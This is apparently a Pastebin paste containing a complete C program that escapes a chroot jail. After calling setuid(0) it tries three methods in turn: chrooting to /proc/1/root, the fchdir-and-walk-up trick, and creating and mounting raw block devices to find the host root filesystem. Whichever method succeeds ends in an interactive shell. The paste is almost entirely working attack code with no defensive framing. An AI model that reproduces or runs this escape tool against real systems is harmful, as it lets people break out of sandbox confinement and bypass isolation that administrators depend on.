Advertisement
Guest User

Untitled

a guest
Jul 4th, 2015
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.74 KB | None | 0 0
  1. /*
  2. * Simple chroot jail escape
  3. * Copyright (c) 2015, Alexandre Hamelin <alexandre.hamelin gmail.com>
  4. */
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>
  9. #include <fcntl.h>
  10. #include <string.h>
  11. #include <sys/stat.h>
  12. #include <sys/types.h>
  13. #include <sys/mount.h>
  14.  
  15.  
  16. int shell()
  17. {
  18. int ret;
  19. printf("Succeeded. Here's a shell.\n");
  20. ret = execl("/bin/sh", "sh", "-i", NULL);
  21. perror("execl");
  22. return ret;
  23. }
  24.  
  25.  
  26. int chdir_escape()
  27. {
  28. int ret;
  29. char tmpl[] = "esc.XXXXXXXXXXXXXXXX", *retp;
  30. retp = mkdtemp(tmpl);
  31. if (retp == NULL) {
  32. perror("mkdtemp");
  33. return 1;
  34. }
  35. int fd = open(".", O_RDONLY);
  36. if (fd < 0) {
  37. perror("open");
  38. return 1;
  39. }
  40. ret = chroot(retp);
  41. if (ret < 0) {
  42. perror("chroot");
  43. return 1;
  44. }
  45. ret = fchdir(fd);
  46. if (ret < 0) {
  47. perror("fchdir");
  48. return 1;
  49. }
  50. close(fd);
  51. rmdir(retp);
  52. struct stat curr, parent;
  53. while (stat(".", &curr) == 0 && stat("..", &parent) == 0 &&
  54. curr.st_ino != parent.st_ino) {
  55. ret = chdir("..");
  56. if (ret < 0) {
  57. perror("chdir");
  58. return 1;
  59. }
  60. }
  61. ret = chroot(".");
  62. if (ret < 0) {
  63. perror("chroot");
  64. return 1;
  65. }
  66. ret = shell();
  67. return ret;
  68. }
  69.  
  70.  
  71. int proc_escape()
  72. {
  73. struct stat st_init, st_root;
  74. char *init_root;
  75. int ret;
  76. stat("/", &st_root);
  77. ret = stat("/proc/1/root", &st_init);
  78. if (ret == 0 && st_init.st_ino != st_root.st_ino) {
  79. ret = chroot("/proc/1/root");
  80. if (ret < 0) {
  81. perror("chroot");
  82. return ret;
  83. }
  84. ret = shell();
  85. return ret;
  86. }
  87. /* fails since /proc/1/root == / or /proc is not mounted*/
  88. return -1;
  89. }
  90.  
  91.  
  92. int mount_fs(dev_t dev, const char *fstype, const char *mnt)
  93. {
  94. int ret;
  95. const char *syscall;
  96.  
  97. mkdir(mnt, 0755);
  98. ret = mknod("/device", S_IFBLK | 0600, dev);
  99. if (ret == 0) {
  100. ret = mount("/device", mnt, fstype, MS_MGC_VAL | MS_NOATIME, NULL);
  101. syscall = "mount";
  102. }
  103. else
  104. syscall = "mknod";
  105.  
  106. if (ret < 0) {
  107. perror(syscall);
  108. unlink("/device");
  109. }
  110.  
  111. return ret;
  112. }
  113.  
  114.  
  115. int isrootfs(const char *mnt)
  116. {
  117. char *dirs[] = { "proc", "dev", "home", "usr", "var" };
  118. const int dir_count = sizeof(dirs) / sizeof(dirs[0]);
  119. char path[100];
  120. int i;
  121. int err = 0;
  122.  
  123. for (i = 0; i < dir_count; i++) {
  124. struct stat st;
  125. strcpy(path, mnt);
  126. strcat(path, "/");
  127. strcat(path, dirs[i]);
  128. err |= stat(path, &st);
  129. }
  130.  
  131. return err;
  132. }
  133.  
  134.  
  135. int mount_escape()
  136. {
  137. dev_t devs[] = {makedev(8, 0), makedev(8, 1), makedev(8, 2)};
  138. const int dev_count = sizeof(devs) / sizeof(devs[0]);
  139. char *fs_types[] = { "ext4", "ext3", "ext2", "reiserfs", "xfs" };
  140. const int fs_count = sizeof(fs_types) / sizeof(fs_types[0]);
  141. int i, j, ret;
  142. const char *mnt = "/mnt";
  143.  
  144. mkdir(mnt, 0755);
  145.  
  146. for (i = 0; i < dev_count; i++) {
  147. for (j = 0; j < fs_count; j++) {
  148. ret = mount_fs(devs[i], fs_types[j], mnt);
  149. if (ret == 0) {
  150. if (isrootfs(mnt)) {
  151. printf("found a potential rootfs\n");
  152. chroot(mnt);
  153. chdir("/");
  154. ret = shell();
  155. }
  156. umount(mnt);
  157. }
  158. }
  159. }
  160. umount(mnt);
  161. unlink("/device");
  162. rmdir(mnt);
  163. return ret;
  164. }
  165.  
  166.  
  167. int main(int argc, char **argv)
  168. {
  169. int ret;
  170. ret = setuid(0);
  171. if (ret < 0) {
  172. perror("setuid");
  173. return 1;
  174. }
  175. int (*methods[])() = {proc_escape, chdir_escape, mount_escape, NULL},
  176. (**funcp)();
  177. for (funcp = methods; *funcp != NULL; funcp++) {
  178. ret = (*funcp)();
  179. }
  180. return ret;
  181. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement